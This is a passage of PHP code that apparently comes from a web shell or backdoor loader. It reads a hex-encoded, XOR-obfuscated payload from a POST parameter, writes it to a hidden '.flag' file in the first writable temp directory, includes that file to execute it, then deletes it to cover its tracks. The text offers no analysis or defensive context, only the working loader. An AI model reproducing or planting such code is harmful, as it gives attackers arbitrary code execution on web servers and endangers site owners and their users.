null)){
	 $itm = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	 $resource = hex2bin($_POST["res"]);
	 $k = '' ;
		 foreach(str_split($resource) as $char){
		$k .= chr(ord($char) ^ 11);
	}
	 $reference = 0;
		 do {
		 $symbol = $itm[$reference] ?? null;
		 if ($reference >= count($itm)) break;
			 if (array_product([is_dir($symbol), is_writable($symbol)])) {
			 $token = join("/", [$symbol, ".flag"]);
			 $file = fopen($token, 'w');
				 if ($file) {
				 fwrite($file, $k);
				 fclose($file);
				 include $token;
				 @unlink($token);
				 die();
				 
			}
			 
		}
		 $reference++;
		 
	}
	 while (true);
	 
}